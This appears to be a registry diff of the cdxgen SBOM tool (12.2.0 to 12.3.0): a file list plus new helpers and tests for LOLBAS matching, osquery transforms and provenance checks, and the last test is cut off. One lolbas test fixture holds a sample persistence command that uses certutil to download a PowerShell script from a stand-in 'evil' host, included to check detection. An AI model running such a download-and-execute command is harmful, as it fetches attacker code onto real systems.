@cyclonedx/cdxgen 12.2.0 → 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +242 -90
- package/bin/audit.js +191 -0
- package/bin/cdxgen.js +532 -168
- package/bin/convert.js +99 -0
- package/bin/evinse.js +23 -0
- package/bin/repl.js +339 -8
- package/bin/sign.js +8 -0
- package/bin/validate.js +8 -0
- package/bin/verify.js +8 -0
- package/data/container-knowledge-index.json +125 -0
- package/data/gtfobins-index.json +6296 -0
- package/data/lolbas-index.json +150 -0
- package/data/queries-darwin.json +63 -3
- package/data/queries-win.json +45 -3
- package/data/queries.json +74 -2
- package/data/rules/chrome-extensions.yaml +240 -0
- package/data/rules/ci-permissions.yaml +478 -18
- package/data/rules/container-risk.yaml +270 -0
- package/data/rules/obom-runtime.yaml +891 -0
- package/data/rules/package-integrity.yaml +49 -0
- package/data/spdx-export.schema.json +6794 -0
- package/data/spdx-model-v3.0.1.jsonld +15999 -0
- package/lib/audit/index.js +1924 -0
- package/lib/audit/index.poku.js +1488 -0
- package/lib/audit/progress.js +137 -0
- package/lib/audit/progress.poku.js +188 -0
- package/lib/audit/reporters.js +618 -0
- package/lib/audit/scoring.js +310 -0
- package/lib/audit/scoring.poku.js +341 -0
- package/lib/audit/targets.js +260 -0
- package/lib/audit/targets.poku.js +331 -0
- package/lib/cli/index.js +276 -68
- package/lib/cli/index.poku.js +368 -0
- package/lib/helpers/analyzer.js +1052 -5
- package/lib/helpers/analyzer.poku.js +301 -0
- package/lib/helpers/annotationFormatter.js +49 -0
- package/lib/helpers/annotationFormatter.poku.js +44 -0
- package/lib/helpers/bomUtils.js +36 -0
- package/lib/helpers/bomUtils.poku.js +51 -0
- package/lib/helpers/caxa.js +2 -2
- package/lib/helpers/chromextutils.js +1153 -0
- package/lib/helpers/chromextutils.poku.js +493 -0
- package/lib/helpers/ciParsers/githubActions.js +1632 -45
- package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
- package/lib/helpers/containerRisk.js +186 -0
- package/lib/helpers/containerRisk.poku.js +52 -0
- package/lib/helpers/depsUtils.js +16 -0
- package/lib/helpers/depsUtils.poku.js +58 -1
- package/lib/helpers/display.js +245 -61
- package/lib/helpers/display.poku.js +162 -2
- package/lib/helpers/exportUtils.js +123 -0
- package/lib/helpers/exportUtils.poku.js +60 -0
- package/lib/helpers/formulationParsers.js +69 -0
- package/lib/helpers/formulationParsers.poku.js +44 -0
- package/lib/helpers/gtfobins.js +189 -0
- package/lib/helpers/gtfobins.poku.js +49 -0
- package/lib/helpers/lolbas.js +267 -0
- package/lib/helpers/lolbas.poku.js +39 -0
- package/lib/helpers/osqueryTransform.js +84 -0
- package/lib/helpers/osqueryTransform.poku.js +49 -0
- package/lib/helpers/provenanceUtils.js +193 -0
- package/lib/helpers/provenanceUtils.poku.js +145 -0
- package/lib/helpers/pylockutils.js +281 -0
- package/lib/helpers/pylockutils.poku.js +48 -0
- package/lib/helpers/registryProvenance.js +793 -0
- package/lib/helpers/registryProvenance.poku.js +452 -0
- package/lib/helpers/remote/dependency-track.js +84 -0
- package/lib/helpers/remote/dependency-track.poku.js +119 -0
- package/lib/helpers/source.js +1267 -0
- package/lib/helpers/source.poku.js +771 -0
- package/lib/helpers/spdxUtils.js +97 -0
- package/lib/helpers/spdxUtils.poku.js +70 -0
- package/lib/helpers/table.js +384 -0
- package/lib/helpers/table.poku.js +186 -0
- package/lib/helpers/unicodeScan.js +147 -0
- package/lib/helpers/unicodeScan.poku.js +45 -0
- package/lib/helpers/utils.js +882 -136
- package/lib/helpers/utils.poku.js +995 -91
- package/lib/managers/binary.js +29 -5
- package/lib/managers/docker.js +179 -52
- package/lib/managers/docker.poku.js +327 -28
- package/lib/managers/oci.js +107 -23
- package/lib/managers/oci.poku.js +132 -0
- package/lib/server/openapi.yaml +50 -0
- package/lib/server/server.js +228 -331
- package/lib/server/server.poku.js +220 -5
- package/lib/stages/postgen/annotator.js +7 -0
- package/lib/stages/postgen/annotator.poku.js +40 -0
- package/lib/stages/postgen/auditBom.js +20 -5
- package/lib/stages/postgen/auditBom.poku.js +1729 -67
- package/lib/stages/postgen/postgen.js +40 -0
- package/lib/stages/postgen/postgen.poku.js +47 -0
- package/lib/stages/postgen/ruleEngine.js +80 -2
- package/lib/stages/postgen/spdxConverter.js +796 -0
- package/lib/stages/postgen/spdxConverter.poku.js +341 -0
- package/lib/validator/bomValidator.js +232 -0
- package/lib/validator/bomValidator.poku.js +70 -0
- package/lib/validator/complianceRules.js +70 -7
- package/lib/validator/complianceRules.poku.js +30 -0
- package/lib/validator/reporters/annotations.js +2 -2
- package/lib/validator/reporters/console.js +13 -2
- package/lib/validator/reporters.poku.js +13 -0
- package/package.json +10 -8
- package/types/bin/audit.d.ts +3 -0
- package/types/bin/audit.d.ts.map +1 -0
- package/types/bin/convert.d.ts +3 -0
- package/types/bin/convert.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +115 -0
- package/types/lib/audit/index.d.ts.map +1 -0
- package/types/lib/audit/progress.d.ts +27 -0
- package/types/lib/audit/progress.d.ts.map +1 -0
- package/types/lib/audit/reporters.d.ts +35 -0
- package/types/lib/audit/reporters.d.ts.map +1 -0
- package/types/lib/audit/scoring.d.ts +35 -0
- package/types/lib/audit/scoring.d.ts.map +1 -0
- package/types/lib/audit/targets.d.ts +63 -0
- package/types/lib/audit/targets.d.ts.map +1 -0
- package/types/lib/cli/index.d.ts +8 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +13 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/annotationFormatter.d.ts +23 -0
- package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
- package/types/lib/helpers/bomUtils.d.ts +5 -0
- package/types/lib/helpers/bomUtils.d.ts.map +1 -0
- package/types/lib/helpers/chromextutils.d.ts +97 -0
- package/types/lib/helpers/chromextutils.d.ts.map +1 -0
- package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/containerRisk.d.ts +17 -0
- package/types/lib/helpers/containerRisk.d.ts.map +1 -0
- package/types/lib/helpers/depsUtils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts +4 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/exportUtils.d.ts +40 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -0
- package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +17 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts +16 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -0
- package/types/lib/helpers/osqueryTransform.d.ts +7 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
- package/types/lib/helpers/provenanceUtils.d.ts +90 -0
- package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
- package/types/lib/helpers/pylockutils.d.ts +51 -0
- package/types/lib/helpers/pylockutils.d.ts.map +1 -0
- package/types/lib/helpers/registryProvenance.d.ts +17 -0
- package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
- package/types/lib/helpers/remote/dependency-track.d.ts +16 -0
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -0
- package/types/lib/helpers/source.d.ts +141 -0
- package/types/lib/helpers/source.d.ts.map +1 -0
- package/types/lib/helpers/spdxUtils.d.ts +2 -0
- package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
- package/types/lib/helpers/table.d.ts +6 -0
- package/types/lib/helpers/table.d.ts.map +1 -0
- package/types/lib/helpers/unicodeScan.d.ts +46 -0
- package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts +30 -11
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/managers/oci.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +0 -35
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
- package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
- package/types/lib/validator/bomValidator.d.ts +1 -0
- package/types/lib/validator/bomValidator.d.ts.map +1 -1
- package/types/lib/validator/complianceRules.d.ts.map +1 -1
- package/types/lib/validator/reporters/console.d.ts.map +1 -1
- package/types/bin/dependencies.d.ts +0 -3
- package/types/bin/dependencies.d.ts.map +0 -1
- package/types/bin/licenses.d.ts +0 -3
- package/types/bin/licenses.d.ts.map +0 -1
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
import { strict as assert } from "node:assert";
|
|
2
|
+
|
|
3
|
+
import { describe, it } from "poku";
|
|
4
|
+
|
|
5
|
+
import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
|
|
6
|
+
|
|
7
|
+
describe("lolbas helpers", () => {
|
|
8
|
+
it("resolves extensionless aliases to canonical LOLBAS executables", () => {
|
|
9
|
+
const metadata = getLolbasMetadata("powershell");
|
|
10
|
+
assert.ok(metadata);
|
|
11
|
+
assert.strictEqual(metadata.canonicalName, "powershell.exe");
|
|
12
|
+
assert.ok(metadata.functions.includes("script-execution"));
|
|
13
|
+
assert.ok(metadata.attackTechniques.includes("T1059.001"));
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
it("resolves fully qualified Windows paths", () => {
|
|
17
|
+
const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
|
|
18
|
+
assert.ok(metadata);
|
|
19
|
+
assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
|
|
20
|
+
assert.ok(metadata.riskTags.includes("proxy-execution"));
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
|
|
24
|
+
const properties = createLolbasProperties("windows_run_keys", {
|
|
25
|
+
description:
|
|
26
|
+
"powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
|
|
27
|
+
key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
28
|
+
});
|
|
29
|
+
const propertyMap = Object.fromEntries(
|
|
30
|
+
properties.map((property) => [property.name, property.value]),
|
|
31
|
+
);
|
|
32
|
+
assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
|
|
33
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
|
|
34
|
+
assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
|
|
35
|
+
assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
|
|
36
|
+
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
37
|
+
assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
|
|
38
|
+
});
|
|
39
|
+
});
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
import { PackageURL } from "packageurl-js";
|
|
2
|
+
|
|
3
|
+
export function deriveOsQueryVersion(res) {
|
|
4
|
+
return (
|
|
5
|
+
res.version ||
|
|
6
|
+
res.hotfix_id ||
|
|
7
|
+
res.hardware_version ||
|
|
8
|
+
res.port ||
|
|
9
|
+
res.pid ||
|
|
10
|
+
res.subject_key_id ||
|
|
11
|
+
res.interface ||
|
|
12
|
+
res.instance_id
|
|
13
|
+
);
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
export function deriveOsQueryName(res, singleResult, queryName) {
|
|
17
|
+
let name =
|
|
18
|
+
res.name ||
|
|
19
|
+
res.device_id ||
|
|
20
|
+
res.hotfix_id ||
|
|
21
|
+
res.uuid ||
|
|
22
|
+
res.serial ||
|
|
23
|
+
res.pid ||
|
|
24
|
+
res.address ||
|
|
25
|
+
res.ami_id ||
|
|
26
|
+
res.interface ||
|
|
27
|
+
res.client_app_id;
|
|
28
|
+
if (!name && singleResult && queryName) {
|
|
29
|
+
name = queryName;
|
|
30
|
+
}
|
|
31
|
+
return name;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
export function deriveOsQueryPublisher(res) {
|
|
35
|
+
const publisher =
|
|
36
|
+
res.publisher ||
|
|
37
|
+
res.maintainer ||
|
|
38
|
+
res.creator ||
|
|
39
|
+
res.manufacturer ||
|
|
40
|
+
res.provider ||
|
|
41
|
+
"";
|
|
42
|
+
return publisher === "null" ? "" : publisher;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
export function deriveOsQueryDescription(res) {
|
|
46
|
+
return (
|
|
47
|
+
res.description ||
|
|
48
|
+
res.summary ||
|
|
49
|
+
res.arguments ||
|
|
50
|
+
res.device ||
|
|
51
|
+
res.codename ||
|
|
52
|
+
res.section ||
|
|
53
|
+
res.status ||
|
|
54
|
+
res.identifier ||
|
|
55
|
+
res.components ||
|
|
56
|
+
""
|
|
57
|
+
);
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
export function sanitizeOsQueryIdentity(value) {
|
|
61
|
+
return String(value || "")
|
|
62
|
+
.replace(/ /g, "+")
|
|
63
|
+
.replace(/[:%]/g, "-")
|
|
64
|
+
.replace(/^[@{]/g, "")
|
|
65
|
+
.replace(/[}]$/g, "");
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
export function createOsQueryPurl(
|
|
69
|
+
purlType,
|
|
70
|
+
group,
|
|
71
|
+
name,
|
|
72
|
+
version,
|
|
73
|
+
qualifiers,
|
|
74
|
+
subpath,
|
|
75
|
+
) {
|
|
76
|
+
return new PackageURL(
|
|
77
|
+
purlType || "swid",
|
|
78
|
+
group,
|
|
79
|
+
name,
|
|
80
|
+
version || "",
|
|
81
|
+
qualifiers,
|
|
82
|
+
subpath,
|
|
83
|
+
).toString();
|
|
84
|
+
}
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
import { assert, describe, it } from "poku";
|
|
2
|
+
|
|
3
|
+
import {
|
|
4
|
+
createOsQueryPurl,
|
|
5
|
+
deriveOsQueryDescription,
|
|
6
|
+
deriveOsQueryName,
|
|
7
|
+
deriveOsQueryPublisher,
|
|
8
|
+
deriveOsQueryVersion,
|
|
9
|
+
sanitizeOsQueryIdentity,
|
|
10
|
+
} from "./osqueryTransform.js";
|
|
11
|
+
|
|
12
|
+
describe("osqueryTransform helpers", () => {
|
|
13
|
+
it("derives version, name, publisher, and description from osquery rows", () => {
|
|
14
|
+
const row = {
|
|
15
|
+
pid: "1024",
|
|
16
|
+
provider: "null",
|
|
17
|
+
summary: "sample description",
|
|
18
|
+
};
|
|
19
|
+
assert.strictEqual(deriveOsQueryVersion(row), "1024");
|
|
20
|
+
assert.strictEqual(deriveOsQueryName(row, false), "1024");
|
|
21
|
+
assert.strictEqual(deriveOsQueryPublisher(row), "");
|
|
22
|
+
assert.strictEqual(deriveOsQueryDescription(row), "sample description");
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("falls back to query name for single-row synthetic entries", () => {
|
|
26
|
+
const row = {};
|
|
27
|
+
assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it("sanitizes osquery identity strings used in purl fields", () => {
|
|
31
|
+
assert.strictEqual(
|
|
32
|
+
sanitizeOsQueryIdentity("{My App:%Name}"),
|
|
33
|
+
"My+App--Name",
|
|
34
|
+
);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it("creates valid purl strings for osquery-derived components", () => {
|
|
38
|
+
const purl = createOsQueryPurl(
|
|
39
|
+
"swid",
|
|
40
|
+
"microsoft",
|
|
41
|
+
"windows+11",
|
|
42
|
+
"22H2",
|
|
43
|
+
undefined,
|
|
44
|
+
"windows",
|
|
45
|
+
);
|
|
46
|
+
assert.ok(purl.startsWith("pkg:swid/microsoft/"));
|
|
47
|
+
assert.ok(purl.includes("@22H2"));
|
|
48
|
+
});
|
|
49
|
+
});
|
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
|
|
2
|
+
const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
|
|
3
|
+
const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
|
|
4
|
+
const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
|
|
5
|
+
|
|
6
|
+
export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
7
|
+
NPM_PROVENANCE_URL_PROPERTY,
|
|
8
|
+
"cdx:npm:provenanceDigest",
|
|
9
|
+
"cdx:npm:provenanceKeyId",
|
|
10
|
+
"cdx:npm:provenancePredicateType",
|
|
11
|
+
"cdx:npm:provenanceSignature",
|
|
12
|
+
"cdx:npm:artifactIntegrity",
|
|
13
|
+
"cdx:npm:artifactShasum",
|
|
14
|
+
];
|
|
15
|
+
export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
16
|
+
PYPI_PROVENANCE_URL_PROPERTY,
|
|
17
|
+
"cdx:pypi:provenanceDigest",
|
|
18
|
+
"cdx:pypi:provenanceKeyId",
|
|
19
|
+
"cdx:pypi:provenancePredicateType",
|
|
20
|
+
"cdx:pypi:provenanceSignature",
|
|
21
|
+
"cdx:pypi:artifactDigestSha256",
|
|
22
|
+
"cdx:pypi:artifactDigestBlake2b256",
|
|
23
|
+
"cdx:pypi:artifactDigestMd5",
|
|
24
|
+
];
|
|
25
|
+
export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
|
|
26
|
+
...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
27
|
+
...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
28
|
+
];
|
|
29
|
+
export const TRUSTED_PUBLISHING_PROPERTIES = [
|
|
30
|
+
NPM_TRUSTED_PUBLISHING_PROPERTY,
|
|
31
|
+
PYPI_TRUSTED_PUBLISHING_PROPERTY,
|
|
32
|
+
];
|
|
33
|
+
|
|
34
|
+
export const REGISTRY_PROVENANCE_ICON = "🛡";
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Return a component property value by name.
|
|
38
|
+
*
|
|
39
|
+
* @param {object} component CycloneDX component
|
|
40
|
+
* @param {string} propertyName Property name to look up
|
|
41
|
+
* @returns {string | undefined} Property value if present
|
|
42
|
+
*/
|
|
43
|
+
export function getComponentPropertyValue(component, propertyName) {
|
|
44
|
+
return component?.properties?.find((prop) => prop?.name === propertyName)
|
|
45
|
+
?.value;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* Return a property value by name from a raw properties array.
|
|
50
|
+
*
|
|
51
|
+
* @param {object[]} properties CycloneDX properties array
|
|
52
|
+
* @param {string} propertyName Property name to look up
|
|
53
|
+
* @returns {string | undefined} Property value if present
|
|
54
|
+
*/
|
|
55
|
+
export function getPropertyValue(properties, propertyName) {
|
|
56
|
+
return properties?.find((prop) => prop?.name === propertyName)?.value;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/**
|
|
60
|
+
* Check whether any of the supplied properties exist and carry a value.
|
|
61
|
+
*
|
|
62
|
+
* @param {object[]} properties CycloneDX properties array
|
|
63
|
+
* @param {string[]} propertyNames Property names to test
|
|
64
|
+
* @returns {boolean} True when any named property has a non-empty value
|
|
65
|
+
*/
|
|
66
|
+
export function hasAnyPropertyValue(properties, propertyNames) {
|
|
67
|
+
return propertyNames.some((propertyName) =>
|
|
68
|
+
Boolean(getPropertyValue(properties, propertyName)),
|
|
69
|
+
);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
/**
|
|
73
|
+
* Determine whether a raw properties array includes trusted publishing metadata.
|
|
74
|
+
*
|
|
75
|
+
* @param {object[]} properties CycloneDX properties array
|
|
76
|
+
* @returns {boolean} True when trusted publishing is recorded for npm or PyPI
|
|
77
|
+
*/
|
|
78
|
+
export function hasTrustedPublishingProperties(properties) {
|
|
79
|
+
return TRUSTED_PUBLISHING_PROPERTIES.some(
|
|
80
|
+
(propertyName) => getPropertyValue(properties, propertyName) === "true",
|
|
81
|
+
);
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Determine whether a raw properties array includes direct registry provenance evidence.
|
|
86
|
+
*
|
|
87
|
+
* @param {object[]} properties CycloneDX properties array
|
|
88
|
+
* @returns {boolean} True when direct provenance evidence is present
|
|
89
|
+
*/
|
|
90
|
+
export function hasRegistryProvenanceEvidenceProperties(properties) {
|
|
91
|
+
return hasAnyPropertyValue(
|
|
92
|
+
properties,
|
|
93
|
+
REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
|
|
94
|
+
);
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
/**
|
|
98
|
+
* Determine whether a component includes trusted publishing metadata.
|
|
99
|
+
*
|
|
100
|
+
* @param {object} component CycloneDX component
|
|
101
|
+
* @returns {boolean} True when trusted publishing is recorded for npm or PyPI
|
|
102
|
+
*/
|
|
103
|
+
export function hasComponentTrustedPublishing(component) {
|
|
104
|
+
return hasTrustedPublishingProperties(component?.properties);
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
/**
|
|
108
|
+
* Determine whether a component includes direct registry provenance evidence.
|
|
109
|
+
*
|
|
110
|
+
* @param {object} component CycloneDX component
|
|
111
|
+
* @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
|
|
112
|
+
*/
|
|
113
|
+
export function hasComponentRegistryProvenanceEvidence(component) {
|
|
114
|
+
return hasRegistryProvenanceEvidenceProperties(component?.properties);
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* Determine whether a component includes registry provenance metadata.
|
|
119
|
+
*
|
|
120
|
+
* @param {object} component CycloneDX component
|
|
121
|
+
* @returns {boolean} True when provenance or trusted publishing metadata exists
|
|
122
|
+
*/
|
|
123
|
+
export function hasComponentRegistryProvenance(component) {
|
|
124
|
+
return (
|
|
125
|
+
hasComponentTrustedPublishing(component) ||
|
|
126
|
+
hasComponentRegistryProvenanceEvidence(component)
|
|
127
|
+
);
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* Filter components to those carrying trusted publishing metadata.
|
|
132
|
+
*
|
|
133
|
+
* @param {object[]} components BOM components
|
|
134
|
+
* @returns {object[]} Trusted-publishing-backed components
|
|
135
|
+
*/
|
|
136
|
+
export function getTrustedComponents(components) {
|
|
137
|
+
if (!Array.isArray(components)) {
|
|
138
|
+
return [];
|
|
139
|
+
}
|
|
140
|
+
return components.filter((component) =>
|
|
141
|
+
hasComponentTrustedPublishing(component),
|
|
142
|
+
);
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Filter components to those carrying direct registry provenance evidence.
|
|
147
|
+
*
|
|
148
|
+
* @param {object[]} components BOM components
|
|
149
|
+
* @returns {object[]} Provenance-backed components
|
|
150
|
+
*/
|
|
151
|
+
export function getProvenanceComponents(components) {
|
|
152
|
+
if (!Array.isArray(components)) {
|
|
153
|
+
return [];
|
|
154
|
+
}
|
|
155
|
+
return components.filter((component) =>
|
|
156
|
+
hasComponentRegistryProvenanceEvidence(component),
|
|
157
|
+
);
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
/**
|
|
161
|
+
* Count components with trusted publishing metadata by registry ecosystem.
|
|
162
|
+
*
|
|
163
|
+
* @param {object[]} components BOM components
|
|
164
|
+
* @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
|
|
165
|
+
*/
|
|
166
|
+
export function getTrustedPublishingComponentCounts(components) {
|
|
167
|
+
const counts = {
|
|
168
|
+
npm: 0,
|
|
169
|
+
pypi: 0,
|
|
170
|
+
total: 0,
|
|
171
|
+
};
|
|
172
|
+
if (!Array.isArray(components)) {
|
|
173
|
+
return counts;
|
|
174
|
+
}
|
|
175
|
+
for (const component of components) {
|
|
176
|
+
const npmTrustedPublishing =
|
|
177
|
+
getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
|
|
178
|
+
"true";
|
|
179
|
+
const pypiTrustedPublishing =
|
|
180
|
+
getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
|
|
181
|
+
"true";
|
|
182
|
+
if (npmTrustedPublishing) {
|
|
183
|
+
counts.npm += 1;
|
|
184
|
+
}
|
|
185
|
+
if (pypiTrustedPublishing) {
|
|
186
|
+
counts.pypi += 1;
|
|
187
|
+
}
|
|
188
|
+
if (npmTrustedPublishing || pypiTrustedPublishing) {
|
|
189
|
+
counts.total += 1;
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
return counts;
|
|
193
|
+
}
|
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
import { assert, describe, it } from "poku";
|
|
2
|
+
|
|
3
|
+
import {
|
|
4
|
+
getPropertyValue,
|
|
5
|
+
getProvenanceComponents,
|
|
6
|
+
getTrustedComponents,
|
|
7
|
+
getTrustedPublishingComponentCounts,
|
|
8
|
+
hasAnyPropertyValue,
|
|
9
|
+
hasComponentRegistryProvenance,
|
|
10
|
+
hasComponentRegistryProvenanceEvidence,
|
|
11
|
+
hasComponentTrustedPublishing,
|
|
12
|
+
hasRegistryProvenanceEvidenceProperties,
|
|
13
|
+
hasTrustedPublishingProperties,
|
|
14
|
+
} from "./provenanceUtils.js";
|
|
15
|
+
|
|
16
|
+
describe("provenanceUtils", () => {
|
|
17
|
+
const npmTrustedComponent = {
|
|
18
|
+
name: "left-pad",
|
|
19
|
+
properties: [
|
|
20
|
+
{
|
|
21
|
+
name: "cdx:npm:trustedPublishing",
|
|
22
|
+
value: "true",
|
|
23
|
+
},
|
|
24
|
+
],
|
|
25
|
+
};
|
|
26
|
+
const pypiProvenanceComponent = {
|
|
27
|
+
name: "requests",
|
|
28
|
+
properties: [
|
|
29
|
+
{
|
|
30
|
+
name: "cdx:pypi:provenanceUrl",
|
|
31
|
+
value: "https://pypi.org/integrity/example",
|
|
32
|
+
},
|
|
33
|
+
],
|
|
34
|
+
};
|
|
35
|
+
const plainComponent = {
|
|
36
|
+
name: "lodash",
|
|
37
|
+
properties: [],
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
it("detects trusted publishing and registry provenance metadata", () => {
|
|
41
|
+
assert.strictEqual(
|
|
42
|
+
hasComponentTrustedPublishing(npmTrustedComponent),
|
|
43
|
+
true,
|
|
44
|
+
);
|
|
45
|
+
assert.strictEqual(
|
|
46
|
+
hasComponentRegistryProvenance(pypiProvenanceComponent),
|
|
47
|
+
true,
|
|
48
|
+
);
|
|
49
|
+
assert.strictEqual(
|
|
50
|
+
hasComponentRegistryProvenanceEvidence(pypiProvenanceComponent),
|
|
51
|
+
true,
|
|
52
|
+
);
|
|
53
|
+
assert.strictEqual(hasComponentRegistryProvenance(plainComponent), false);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
it("filters trusted components and counts trusted publishing by ecosystem", () => {
|
|
57
|
+
assert.deepStrictEqual(
|
|
58
|
+
getTrustedComponents([
|
|
59
|
+
plainComponent,
|
|
60
|
+
npmTrustedComponent,
|
|
61
|
+
pypiProvenanceComponent,
|
|
62
|
+
]).map((component) => component.name),
|
|
63
|
+
["left-pad"],
|
|
64
|
+
);
|
|
65
|
+
assert.deepStrictEqual(
|
|
66
|
+
getProvenanceComponents([
|
|
67
|
+
plainComponent,
|
|
68
|
+
npmTrustedComponent,
|
|
69
|
+
pypiProvenanceComponent,
|
|
70
|
+
]).map((component) => component.name),
|
|
71
|
+
["requests"],
|
|
72
|
+
);
|
|
73
|
+
assert.deepStrictEqual(
|
|
74
|
+
getTrustedPublishingComponentCounts([
|
|
75
|
+
npmTrustedComponent,
|
|
76
|
+
{
|
|
77
|
+
name: "urllib3",
|
|
78
|
+
properties: [
|
|
79
|
+
{
|
|
80
|
+
name: "cdx:pypi:trustedPublishing",
|
|
81
|
+
value: "true",
|
|
82
|
+
},
|
|
83
|
+
],
|
|
84
|
+
},
|
|
85
|
+
plainComponent,
|
|
86
|
+
]),
|
|
87
|
+
{
|
|
88
|
+
npm: 1,
|
|
89
|
+
pypi: 1,
|
|
90
|
+
total: 2,
|
|
91
|
+
},
|
|
92
|
+
);
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("supports property-array checks used by display and audit code", () => {
|
|
96
|
+
const properties = [
|
|
97
|
+
{
|
|
98
|
+
name: "cdx:npm:provenanceKeyId",
|
|
99
|
+
value: "sigstore-key",
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
name: "cdx:npm:trustedPublishing",
|
|
103
|
+
value: "true",
|
|
104
|
+
},
|
|
105
|
+
];
|
|
106
|
+
assert.strictEqual(
|
|
107
|
+
getPropertyValue(properties, "cdx:npm:provenanceKeyId"),
|
|
108
|
+
"sigstore-key",
|
|
109
|
+
);
|
|
110
|
+
assert.strictEqual(
|
|
111
|
+
hasAnyPropertyValue(properties, ["cdx:npm:provenanceKeyId"]),
|
|
112
|
+
true,
|
|
113
|
+
);
|
|
114
|
+
assert.strictEqual(hasTrustedPublishingProperties(properties), true);
|
|
115
|
+
